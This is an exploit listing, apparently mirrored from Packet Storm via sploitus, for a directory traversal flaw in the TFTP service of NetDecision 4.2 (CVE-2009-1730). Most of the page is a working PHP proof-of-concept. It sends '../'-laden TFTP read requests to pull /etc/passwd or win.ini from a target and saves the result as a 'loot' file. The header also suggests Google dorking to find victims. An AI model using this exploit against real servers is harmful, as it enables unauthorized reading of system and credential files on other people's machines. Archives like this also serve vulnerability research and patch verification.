Share
## https://sploitus.com/exploit?id=PACKETSTORM:189752
=============================================================================================================================================
| # Title : TFTP Server NetDecision 4.2 Directory Traversal vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://netdecision.software.informer.com/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: Directory Traversal vulnerability in NetDecision 4.2's TFTP service to read sensitive files from targeted server.
(Related : https://packetstorm.news/files/id/180940/ Linked CVE numbers: CVE-2009-1730 ) .
[+] save code as poc.php.
[+] Set taget : Line 75.
[+] USage : php poc.php
[+] PayLoad :
<?php
function tftp_request($ip, $port, $os, $depth = 10) {
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
if (!$socket) {
die(" فشل في إنشاء المقبس: " . socket_strerror(socket_last_error()) . "\n");
}
// اختيار الملف المناسب حسب نظام التشغيل
$files = [
'windows' => 'windows/win.ini',
'linux' => 'etc/passwd',
'unix' => 'etc/passwd',
'macos' => 'etc/passwd'
];
if (!isset($files[$os])) {
die(" نظام التشغيل غير مدعوم!\n");
}
$file_path = str_repeat("../", $depth) . $files[$os];
$packet = "\x00\x01" . $file_path . "\x00octet\x00"; // طلب قراءة الملف (RRQ)
// إرسال الطلب إلى الخادم
socket_sendto($socket, $packet, strlen($packet), 0, $ip, $port);
$file_data = "";
while (true) {
$buffer = "";
$from = "";
$port = 0;
$bytes_received = socket_recvfrom($socket, $buffer, 65535, 0, $from, $port);
if ($bytes_received === false) {
echo " فشل في استقبال البيانات من $ip\n";
break;
}
$opcode = unpack("n", substr($buffer, 0, 2))[1];
$block = unpack("n", substr($buffer, 2, 2))[1];
$data = substr($buffer, 4);
if ($opcode !== 3) { // إذا لم يكن حزمة بيانات (DATA)
echo " خطأ أثناء استرجاع الملف $file_path من $ip\n";
break;
}
$file_data .= $data;
// إرسال ACK للحزمة
$ack_packet = "\x00\x04" . pack("n", $block);
socket_sendto($socket, $ack_packet, strlen($ack_packet), 0, $ip, $port);
// إذا كانت الحزمة الأخيرة أقل من 512 بايت، فمعناه نهاية الملف
if (strlen($data) < 512) {
break;
}
}
socket_close($socket);
if (!empty($file_data)) {
echo " تم استرجاع الملف بنجاح!\n";
$save_path = "loot_" . $os . "_" . basename($files[$os]);
file_put_contents($save_path, $file_data);
echo " الملف محفوظ باسم: $save_path\n";
} else {
echo " لم يتم العثور على أي بيانات.\n";
}
}
// ==============================
// استخدام الدالة لاسترجاع ملفات مختلفة
// ==============================
$target_ip = "192.168.1.100"; // استبدل بعنوان IP للخادم المستهدف
$tftp_port = 69; // المنفذ الافتراضي لـ TFTP
$target_os = "linux"; // اختر: windows, linux, unix, macos
$depth = 10; // عدد مستويات تجاوز المسار
tftp_request($target_ip, $tftp_port, $target_os, $depth);
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================